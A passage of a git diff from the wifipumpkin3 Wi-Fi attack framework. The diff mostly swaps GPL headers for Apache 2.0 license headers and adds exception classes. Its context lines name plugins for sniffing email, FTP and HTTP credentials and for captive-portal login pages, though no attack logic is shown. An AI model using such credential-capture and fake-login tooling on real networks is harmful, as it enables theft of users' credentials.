self.content = Linux.readFileExceptions(self.filename)
|
||||
|
||||
def __str__(self):
|
||||
if not self.content:
|
||||
return '{}: {}'.format(self.title,self.message)
|
||||
return '{} : {} \n {}'.format(self.title, self.message, self.content)
|
0
wifipumpkin3/exceptions/errors/__init__.py
Normal file
0
wifipumpkin3/exceptions/errors/__init__.py
Normal file
21
wifipumpkin3/exceptions/errors/dhcpException.py
Normal file
21
wifipumpkin3/exceptions/errors/dhcpException.py
Normal file
@ -0,0 +1,21 @@
|
||||
from wifipumpkin3.exceptions.base import ExceptionTemplate
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DHCPServerSettingsError(ExceptionTemplate):
|
||||
filename = 'dhcp_server_settings_error'
|
21
wifipumpkin3/exceptions/errors/hostapdException.py
Normal file
21
wifipumpkin3/exceptions/errors/hostapdException.py
Normal file
@ -0,0 +1,21 @@
|
||||
from wifipumpkin3.exceptions.base import ExceptionTemplate
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class HostapdInitializeError(ExceptionTemplate):
|
||||
filename = 'hostapd_message_error'
|
24
wifipumpkin3/exceptions/errors/networkException.py
Normal file
24
wifipumpkin3/exceptions/errors/networkException.py
Normal file
@ -0,0 +1,24 @@
|
||||
from wifipumpkin3.exceptions.base import ExceptionTemplate
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class ApModeSupportError(ExceptionTemplate):
|
||||
filename = 'ap_mode_support_error'
|
||||
|
||||
class InterfaceBuzyError(ExceptionTemplate):
|
||||
filename = 'interface_buzy_error'
|
@ -8,6 +8,23 @@ from scapy.all import *
|
||||
from wifipumpkin3.core.common.platforms import Linux
|
||||
from tabulate import tabulate
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
PROBE_REQUEST_TYPE = 0
|
||||
PROBE_REQUEST_SUBTYPE = 4
|
||||
DOT11_REQUEST_SUBTYPE = 2
|
||||
|
@ -6,6 +6,23 @@ from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
from PyQt5.QtCore import pyqtSignal
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class PSniffer(object):
|
||||
''' plugins data sniffers'''
|
||||
name = 'plugin sniffkin3 master'
|
||||
|
@ -1,6 +1,23 @@
|
||||
from scapy.all import *
|
||||
from wifipumpkin3.plugins.analyzers.default import PSniffer
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Stealing_emails(PSniffer):
|
||||
''' capture POP3,IMAP,SMTP '''
|
||||
_activated = False
|
||||
|
@ -1,6 +1,23 @@
|
||||
from scapy.all import *
|
||||
from wifipumpkin3.plugins.analyzers.default import PSniffer
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class ftp(PSniffer):
|
||||
''' this script capture credentials of service ftp request HTTP '''
|
||||
_activated = False
|
||||
|
@ -3,6 +3,23 @@ from wifipumpkin3.plugins.analyzers.default import PSniffer
|
||||
import sys
|
||||
from io import StringIO
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Hexdump(PSniffer):
|
||||
''' print dump packets http POST hex '''
|
||||
_activated = False
|
||||
|
@ -3,26 +3,22 @@ from scapy_http import http
|
||||
from wifipumpkin3.plugins.analyzers.default import PSniffer
|
||||
import re
|
||||
|
||||
"""
|
||||
Description:
|
||||
This program is a core for modules wifi-pumpkin.py. file which includes all Implementation
|
||||
plugin TCPproxy for capture http creds and url.
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class MonitorCreds(PSniffer):
|
||||
_activated = False
|
||||
|
@ -4,6 +4,23 @@ from wifipumpkin3.plugins.analyzers.default import PSniffer
|
||||
from os.path import splitext
|
||||
from string import ascii_letters
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class ImageCap(PSniffer):
|
||||
''' capture image content http'''
|
||||
_activated = False
|
||||
|
@ -1,6 +1,23 @@
|
||||
from scapy.all import *
|
||||
from wifipumpkin3.plugins.analyzers.default import PSniffer
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Kerberos(PSniffer):
|
||||
_activated = False
|
||||
_instance = None
|
||||
|
@ -2,6 +2,23 @@ from scapy.all import *
|
||||
from wifipumpkin3.plugins.analyzers.default import PSniffer
|
||||
from dns import resolver
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Summary(PSniffer):
|
||||
_activated = False
|
||||
_instance = None
|
||||
|
@ -2,27 +2,23 @@ import re
|
||||
from ast import literal_eval
|
||||
from wifipumpkin3.plugins.captivePortal.plugin import CaptiveTemplatePlugin
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
"""
|
||||
Description:
|
||||
This program is a core for wifi-pumpkin.py. file which includes functionality
|
||||
plugins for Pumpkin-Proxy.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DarkLogin(CaptiveTemplatePlugin):
|
||||
meta = {
|
||||
|
@ -2,27 +2,23 @@ import re
|
||||
from ast import literal_eval
|
||||
from wifipumpkin3.plugins.captivePortal.plugin import CaptiveTemplatePlugin
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
"""
|
||||
Description:
|
||||
This program is a core for wifi-pumpkin.py. file which includes functionality
|
||||
plugins for Pumpkin-Proxy.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class FlaskDemo(CaptiveTemplatePlugin):
|
||||
meta = {
|
||||
|
@ -2,27 +2,23 @@ import re
|
||||
from ast import literal_eval
|
||||
from wifipumpkin3.plugins.captivePortal.plugin import CaptiveTemplatePlugin
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
"""
|
||||
Description:
|
||||
This program is a core for wifi-pumpkin.py. file which includes functionality
|
||||
plugins for Pumpkin-Proxy.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class LoginPage(CaptiveTemplatePlugin):
|
||||
meta = {
|
||||
|
@ -2,26 +2,23 @@ import re
|
||||
from ast import literal_eval
|
||||
from wifipumpkin3.plugins.captivePortal.plugin import CaptiveTemplatePlugin
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
"""
|
||||
Description:
|
||||
This program is a core for wifi-pumpkin.py. file which includes functionality
|
||||
plugins for Pumpkin-Proxy.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
|
||||
class Loginv4(CaptiveTemplatePlugin):
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user